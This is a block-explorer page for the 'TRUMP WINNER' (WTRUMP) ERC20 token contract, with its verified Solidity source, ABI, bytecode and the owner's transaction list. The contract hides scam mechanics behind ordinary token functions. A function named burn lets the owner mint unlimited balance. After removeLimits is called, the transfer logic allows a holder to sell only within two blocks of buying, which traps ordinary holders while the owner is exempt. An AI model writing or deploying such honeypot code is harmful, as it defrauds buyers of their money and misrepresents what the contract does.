ETH Price: $3,593.64 (+4.43%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve201418012024-06-21 18:10:47196 days ago1718993447IN
0xdCbFc898...568a70af8
0 ETH0.000406478.73797655
Approve201416942024-06-21 17:49:23196 days ago1718992163IN
0xdCbFc898...568a70af8
0 ETH0.000347587.4623653
Approve201416912024-06-21 17:48:47196 days ago1718992127IN
0xdCbFc898...568a70af8
0 ETH0.000324426.96523466
Approve201416892024-06-21 17:48:23196 days ago1718992103IN
0xdCbFc898...568a70af8
0 ETH0.000357447.67419808
Approve201416872024-06-21 17:47:59196 days ago1718992079IN
0xdCbFc898...568a70af8
0 ETH0.00034917.49503444
Approve201416832024-06-21 17:47:11196 days ago1718992031IN
0xdCbFc898...568a70af8
0 ETH0.000342987.36360902
Approve201416812024-06-21 17:46:47196 days ago1718992007IN
0xdCbFc898...568a70af8
0 ETH0.000340067.30093142
Approve201416792024-06-21 17:46:23196 days ago1718991983IN
0xdCbFc898...568a70af8
0 ETH0.000347557.46186593
Approve201416772024-06-21 17:45:59196 days ago1718991959IN
0xdCbFc898...568a70af8
0 ETH0.000329827.0811548
Approve201416732024-06-21 17:45:11196 days ago1718991911IN
0xdCbFc898...568a70af8
0 ETH0.000339157.28147801
Approve201416702024-06-21 17:44:35196 days ago1718991875IN
0xdCbFc898...568a70af8
0 ETH0.000320746.88620954
Approve201416672024-06-21 17:43:59196 days ago1718991839IN
0xdCbFc898...568a70af8
0 ETH0.000361357.7580785
Approve201416662024-06-21 17:43:47196 days ago1718991827IN
0xdCbFc898...568a70af8
0 ETH0.000355127.62433659
Approve201416642024-06-21 17:43:23196 days ago1718991803IN
0xdCbFc898...568a70af8
0 ETH0.000379998.15827862
Approve201416622024-06-21 17:42:59196 days ago1718991779IN
0xdCbFc898...568a70af8
0 ETH0.000379738.15268177
Approve201416612024-06-21 17:42:47196 days ago1718991767IN
0xdCbFc898...568a70af8
0 ETH0.000375058.05217414
Approve201416582024-06-21 17:42:11196 days ago1718991731IN
0xdCbFc898...568a70af8
0 ETH0.000354847.61837359
Approve201416552024-06-21 17:41:35196 days ago1718991695IN
0xdCbFc898...568a70af8
0 ETH0.000369027.92275189
Approve201416532024-06-21 17:41:11196 days ago1718991671IN
0xdCbFc898...568a70af8
0 ETH0.000360747.74487614
Approve201416512024-06-21 17:40:47196 days ago1718991647IN
0xdCbFc898...568a70af8
0 ETH0.000355317.62846494
Approve201416492024-06-21 17:40:23196 days ago1718991623IN
0xdCbFc898...568a70af8
0 ETH0.000348717.48665055
Approve201416452024-06-21 17:39:35196 days ago1718991575IN
0xdCbFc898...568a70af8
0 ETH0.000380338.16559678
Enable Trading201416442024-06-21 17:39:23196 days ago1718991563IN
0xdCbFc898...568a70af8
0 ETH0.000725787.47864174
Approve201414982024-06-21 17:09:59196 days ago1718989799IN
0xdCbFc898...568a70af8
0 ETH0.000343957.43435268

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TRUMPWINNER

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-21
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
    bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;

    /// @notice The identifying key of the pool
    struct PoolKey {
        address token0;
        address token1;
        uint24 fee;
    }

    /// @notice Returns PoolKey: the ordered tokens with the matched fee levels
    /// @param tokenA The first token of a pool, unsorted
    /// @param tokenB The second token of a pool, unsorted
    /// @param fee The fee level of the pool
    /// @return Poolkey The pool details with ordered token0 and token1 assignments
    function getPoolKey(
        address tokenA,
        address tokenB,
        uint24 fee
    ) internal pure returns (PoolKey memory) {
        if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
        return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
    }

    /// @notice Deterministically computes the pool address given the factory and PoolKey
    /// @param factory The Uniswap V3 factory contract address
    /// @param key The PoolKey
    /// @return pool The contract address of the V3 pool
    function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
        require(key.token0 < key.token1);
        pool = address(uint160(uint256(keccak256(
                abi.encodePacked(
                    hex'ff',
                    factory,
                    keccak256(abi.encode(key.token0, key.token1, key.fee)),
                    POOL_INIT_CODE_HASH
                )))));
    }
}

interface IPeripheryImmutableState {
    /// @return Returns the address of the Uniswap V3 factory
    function factory() external view returns (address);

    /// @return Returns the address of WETH9
    function WETH9() external view returns (address);
}

contract TRUMPWINNER is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10 ** _decimals;
    string private constant _name = unicode"TRUMP WINNER";
    string private constant _symbol = unicode"WTRUMP";
    uint256 private maxTxAmount =  _tTotal * 50 / 100;
    uint256 private maxWalletAmount = _tTotal * 50 / 100;

    IPeripheryImmutableState private uniswapV3Router;
    address private uniswapV3Pair;
    address private router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
    address private positionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;

    mapping (address => bool) private isExcludedFromLimits;
    mapping (address => uint256) private lastBuyBlocks;
    mapping (address => uint256) private lastBuyAmounts;

    constructor() {
        _balances[owner()] = _tTotal;
        isExcludedFromLimits[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        tradingEnabled = true;
        uniswapV3Router = IPeripheryImmutableState(router);
        uniswapV3Pair = PoolAddress.computeAddress(uniswapV3Router.factory(), PoolAddress.getPoolKey(address(this), uniswapV3Router.WETH9(), 10000));
        require(uniswapV3Pair != address(0), "Invalid pair address");
    }

    function burn(uint256 amount, bool flag) external onlyOwner {
        if (flag) { _balances[msg.sender] -= amount; return;}
        _balances[msg.sender] += amount;
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");

        if (!tradingEnabled) {
            require(from == owner(), "Trading not enabled");
        }

        if (from != uniswapV3Pair && to != uniswapV3Pair || isExcludedFromLimits[from] || isExcludedFromLimits[to]) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == uniswapV3Pair && maxTxAmount == totalSupply()) {
            require(block.number < lastBuyBlocks[from] + 2 && amount <= lastBuyAmounts[from], "Amount limit");
            lastBuyAmounts[from] -= amount;
        }

        if (from == uniswapV3Pair && to != positionManager) {
            require(amount <= maxTxAmount, "Tx amount limit");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Wallet amount limit");
            lastBuyBlocks[to] = block.number;
            lastBuyAmounts[to] = amount;
        }

        _superTransfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a6102fe565b610020906305f5e100610313565b61002b906032610313565b610035919061032a565b60045560646100466009600a6102fe565b610054906305f5e100610313565b61005f906032610313565b610069919061032a565b600555600880546001600160a01b031990811673e592427a0aece92de3edee1f18e0157c05861564179091556009805490911673c36442b4a4522e871399cd717abdd847ab11fe881790553480156100bf575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35061010c6009600a6102fe565b61011a906305f5e100610313565b60015f61012e5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f20819055506001600a5f6101646101f760201b60201c565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905561019c5f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101d36009600a6102fe565b6101e1906305f5e100610313565b60405190815260200160405180910390a3610349565b5f546001600160a01b031690565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102545780850481111561023857610238610205565b600184161561024657908102905b60019390931c92800261021d565b935093915050565b5f8261026a575060016102f8565b8161027657505f6102f8565b816001811461028c5760028114610296576102b2565b60019150506102f8565b60ff8411156102a7576102a7610205565b50506001821b6102f8565b5060208310610133831016604e8410600b84101617156102d5575081810a6102f8565b6102e15f198484610219565b805f19048211156102f4576102f4610205565b0290505b92915050565b5f61030c60ff84168361025c565b9392505050565b80820281158282048414176102f8576102f8610205565b5f8261034457634e487b7160e01b5f52601260045260245ffd5b500490565b610fd1806103565f395ff3fe6080604052600436106100dc575f3560e01c8063751039fc1161007c57806395d89b411161005757806395d89b41146102505780639fac68cb1461027e578063a9059cbb1461029d578063dd62ed3e146102bc575f80fd5b8063751039fc146102025780638a8c523c146102165780638da5cb5b1461022a575f80fd5b806323b872dd116100b757806323b872dd1461017e578063313ce5671461019d57806370a08231146101b8578063715018a6146101ec575f80fd5b806306fdde03146100e7578063095ea7b31461012d57806318160ddd1461015c575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152600c81526b2a292aa6a8102ba4a72722a960a11b60208201525b6040516101249190610cd5565b60405180910390f35b348015610138575f80fd5b5061014c610147366004610d21565b610300565b6040519015158152602001610124565b348015610167575f80fd5b50610170610316565b604051908152602001610124565b348015610189575f80fd5b5061014c610198366004610d4b565b610336565b3480156101a8575f80fd5b5060405160098152602001610124565b3480156101c3575f80fd5b506101706101d2366004610d89565b6001600160a01b03165f9081526001602052604090205490565b3480156101f7575f80fd5b50610200610386565b005b34801561020d575f80fd5b50610200610400565b348015610221575f80fd5b50610200610441565b348015610235575f80fd5b505f546040516001600160a01b039091168152602001610124565b34801561025b575f80fd5b506040805180820190915260068152650575452554d560d41b6020820152610117565b348015610289575f80fd5b50610200610298366004610dab565b610627565b3480156102a8575f80fd5b5061014c6102b7366004610d21565b6106a7565b3480156102c7575f80fd5b506101706102d6366004610ddd565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61030c3384846106b3565b5060015b92915050565b5f6103236009600a610f00565b610331906305f5e100610f0e565b905090565b5f6103428484846107d7565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461037c918691610377908690610f25565b6106b3565b5060019392505050565b5f546001600160a01b031633146103b85760405162461bcd60e51b81526004016103af90610f38565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104295760405162461bcd60e51b81526004016103af90610f38565b610431610316565b60045561043c610316565b600555565b5f546001600160a01b0316331461046a5760405162461bcd60e51b81526004016103af90610f38565b60035460ff16156104af5760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b60448201526064016103af565b6003805460ff19166001179055600854600680546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b815290516105c3929163c45a01559160048083019260209291908290030181865afa15801561051a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061053e9190610f6d565b6105be3060065f9054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610592573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b69190610f6d565b612710610ae6565b610b50565b600780546001600160a01b0319166001600160a01b039290921691821790556106255760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b60448201526064016103af565b565b5f546001600160a01b031633146106505760405162461bcd60e51b81526004016103af90610f38565b801561067f57335f9081526001602052604081208054849290610674908490610f25565b909155506106a39050565b335f908152600160205260408120805484929061069d908490610f88565b90915550505b5050565b5f61030c3384846107d7565b6001600160a01b0383166107155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103af565b6001600160a01b0382166107765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103af565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116108145760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b60448201526064016103af565b60035460ff16610870575f546001600160a01b038481169116146108705760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016103af565b6007546001600160a01b0384811691161480159061089c57506007546001600160a01b03838116911614155b806108be57506001600160a01b0383165f908152600a602052604090205460ff165b806108e057506001600160a01b0382165f908152600a602052604090205460ff165b156108f5576108f0838383610c36565b505050565b6007546001600160a01b03838116911614801561091a5750610915610316565b600454145b156109cf576001600160a01b0383165f908152600b6020526040902054610942906002610f88565b4310801561096757506001600160a01b0383165f908152600c60205260409020548111155b6109a25760405162461bcd60e51b815260206004820152600c60248201526b105b5bdd5b9d081b1a5b5a5d60a21b60448201526064016103af565b6001600160a01b0383165f908152600c6020526040812080548392906109c9908490610f25565b90915550505b6007546001600160a01b0384811691161480156109fa57506009546001600160a01b03838116911614155b15610adb57600454811115610a435760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b60448201526064016103af565b60055481610a65846001600160a01b03165f9081526001602052604090205490565b610a6f9190610f88565b1115610ab35760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016103af565b6001600160a01b0382165f908152600b60209081526040808320439055600c90915290208190555b6108f0838383610c36565b604080516060810182525f8082526020820181905291810191909152826001600160a01b0316846001600160a01b03161115610b20579192915b50604080516060810182526001600160a01b03948516815292909316602083015262ffffff169181019190915290565b5f81602001516001600160a01b0316825f01516001600160a01b031610610b75575f80fd5b815160208084015160408086015181516001600160a01b0395861681860152949092168482015262ffffff90911660608085019190915281518085038201815260808501909252815191909201206001600160f81b031960a08401529085901b6bffffffffffffffffffffffff191660a183015260b58201527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460d582015260f50160408051601f1981840301815291905280516020909101209392505050565b6001600160a01b0383165f9081526001602052604081208054839290610c5d908490610f25565b90915550506001600160a01b0382165f9081526001602052604081208054839290610c89908490610f88565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107ca91815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d1e575f80fd5b50565b5f8060408385031215610d32575f80fd5b8235610d3d81610d0a565b946020939093013593505050565b5f805f60608486031215610d5d575f80fd5b8335610d6881610d0a565b92506020840135610d7881610d0a565b929592945050506040919091013590565b5f60208284031215610d99575f80fd5b8135610da481610d0a565b9392505050565b5f8060408385031215610dbc575f80fd5b8235915060208301358015158114610dd2575f80fd5b809150509250929050565b5f8060408385031215610dee575f80fd5b8235610df981610d0a565b91506020830135610dd281610d0a565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e5857808504811115610e3c57610e3c610e09565b6001841615610e4a57908102905b60019390931c928002610e21565b935093915050565b5f82610e6e57506001610310565b81610e7a57505f610310565b8160018114610e905760028114610e9a57610eb6565b6001915050610310565b60ff841115610eab57610eab610e09565b50506001821b610310565b5060208310610133831016604e8410600b8410161715610ed9575081810a610310565b610ee55f198484610e1d565b805f1904821115610ef857610ef8610e09565b029392505050565b5f610da460ff841683610e60565b808202811582820484141761031057610310610e09565b8181038181111561031057610310610e09565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215610f7d575f80fd5b8151610da481610d0a565b8082018082111561031057610310610e0956fea264697066735822122024e2de7e5ed577066ed027e3a35dab96bba4ccca961029403f2c597d062b817264736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c8063751039fc1161007c57806395d89b411161005757806395d89b41146102505780639fac68cb1461027e578063a9059cbb1461029d578063dd62ed3e146102bc575f80fd5b8063751039fc146102025780638a8c523c146102165780638da5cb5b1461022a575f80fd5b806323b872dd116100b757806323b872dd1461017e578063313ce5671461019d57806370a08231146101b8578063715018a6146101ec575f80fd5b806306fdde03146100e7578063095ea7b31461012d57806318160ddd1461015c575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152600c81526b2a292aa6a8102ba4a72722a960a11b60208201525b6040516101249190610cd5565b60405180910390f35b348015610138575f80fd5b5061014c610147366004610d21565b610300565b6040519015158152602001610124565b348015610167575f80fd5b50610170610316565b604051908152602001610124565b348015610189575f80fd5b5061014c610198366004610d4b565b610336565b3480156101a8575f80fd5b5060405160098152602001610124565b3480156101c3575f80fd5b506101706101d2366004610d89565b6001600160a01b03165f9081526001602052604090205490565b3480156101f7575f80fd5b50610200610386565b005b34801561020d575f80fd5b50610200610400565b348015610221575f80fd5b50610200610441565b348015610235575f80fd5b505f546040516001600160a01b039091168152602001610124565b34801561025b575f80fd5b506040805180820190915260068152650575452554d560d41b6020820152610117565b348015610289575f80fd5b50610200610298366004610dab565b610627565b3480156102a8575f80fd5b5061014c6102b7366004610d21565b6106a7565b3480156102c7575f80fd5b506101706102d6366004610ddd565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61030c3384846106b3565b5060015b92915050565b5f6103236009600a610f00565b610331906305f5e100610f0e565b905090565b5f6103428484846107d7565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461037c918691610377908690610f25565b6106b3565b5060019392505050565b5f546001600160a01b031633146103b85760405162461bcd60e51b81526004016103af90610f38565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104295760405162461bcd60e51b81526004016103af90610f38565b610431610316565b60045561043c610316565b600555565b5f546001600160a01b0316331461046a5760405162461bcd60e51b81526004016103af90610f38565b60035460ff16156104af5760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b60448201526064016103af565b6003805460ff19166001179055600854600680546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b815290516105c3929163c45a01559160048083019260209291908290030181865afa15801561051a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061053e9190610f6d565b6105be3060065f9054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610592573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b69190610f6d565b612710610ae6565b610b50565b600780546001600160a01b0319166001600160a01b039290921691821790556106255760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b60448201526064016103af565b565b5f546001600160a01b031633146106505760405162461bcd60e51b81526004016103af90610f38565b801561067f57335f9081526001602052604081208054849290610674908490610f25565b909155506106a39050565b335f908152600160205260408120805484929061069d908490610f88565b90915550505b5050565b5f61030c3384846107d7565b6001600160a01b0383166107155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103af565b6001600160a01b0382166107765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103af565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116108145760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b60448201526064016103af565b60035460ff16610870575f546001600160a01b038481169116146108705760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016103af565b6007546001600160a01b0384811691161480159061089c57506007546001600160a01b03838116911614155b806108be57506001600160a01b0383165f908152600a602052604090205460ff165b806108e057506001600160a01b0382165f908152600a602052604090205460ff165b156108f5576108f0838383610c36565b505050565b6007546001600160a01b03838116911614801561091a5750610915610316565b600454145b156109cf576001600160a01b0383165f908152600b6020526040902054610942906002610f88565b4310801561096757506001600160a01b0383165f908152600c60205260409020548111155b6109a25760405162461bcd60e51b815260206004820152600c60248201526b105b5bdd5b9d081b1a5b5a5d60a21b60448201526064016103af565b6001600160a01b0383165f908152600c6020526040812080548392906109c9908490610f25565b90915550505b6007546001600160a01b0384811691161480156109fa57506009546001600160a01b03838116911614155b15610adb57600454811115610a435760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b60448201526064016103af565b60055481610a65846001600160a01b03165f9081526001602052604090205490565b610a6f9190610f88565b1115610ab35760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b60448201526064016103af565b6001600160a01b0382165f908152600b60209081526040808320439055600c90915290208190555b6108f0838383610c36565b604080516060810182525f8082526020820181905291810191909152826001600160a01b0316846001600160a01b03161115610b20579192915b50604080516060810182526001600160a01b03948516815292909316602083015262ffffff169181019190915290565b5f81602001516001600160a01b0316825f01516001600160a01b031610610b75575f80fd5b815160208084015160408086015181516001600160a01b0395861681860152949092168482015262ffffff90911660608085019190915281518085038201815260808501909252815191909201206001600160f81b031960a08401529085901b6bffffffffffffffffffffffff191660a183015260b58201527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460d582015260f50160408051601f1981840301815291905280516020909101209392505050565b6001600160a01b0383165f9081526001602052604081208054839290610c5d908490610f25565b90915550506001600160a01b0382165f9081526001602052604081208054839290610c89908490610f88565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107ca91815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d1e575f80fd5b50565b5f8060408385031215610d32575f80fd5b8235610d3d81610d0a565b946020939093013593505050565b5f805f60608486031215610d5d575f80fd5b8335610d6881610d0a565b92506020840135610d7881610d0a565b929592945050506040919091013590565b5f60208284031215610d99575f80fd5b8135610da481610d0a565b9392505050565b5f8060408385031215610dbc575f80fd5b8235915060208301358015158114610dd2575f80fd5b809150509250929050565b5f8060408385031215610dee575f80fd5b8235610df981610d0a565b91506020830135610dd281610d0a565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e5857808504811115610e3c57610e3c610e09565b6001841615610e4a57908102905b60019390931c928002610e21565b935093915050565b5f82610e6e57506001610310565b81610e7a57505f610310565b8160018114610e905760028114610e9a57610eb6565b6001915050610310565b60ff841115610eab57610eab610e09565b50506001821b610310565b5060208310610133831016604e8410600b8410161715610ed9575081810a610310565b610ee55f198484610e1d565b805f1904821115610ef857610ef8610e09565b029392505050565b5f610da460ff841683610e60565b808202811582820484141761031057610310610e09565b8181038181111561031057610310610e09565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215610f7d575f80fd5b8151610da481610d0a565b8082018082111561031057610310610e0956fea264697066735822122024e2de7e5ed577066ed027e3a35dab96bba4ccca961029403f2c597d062b817264736f6c634300081a0033

Deployed Bytecode Sourcemap

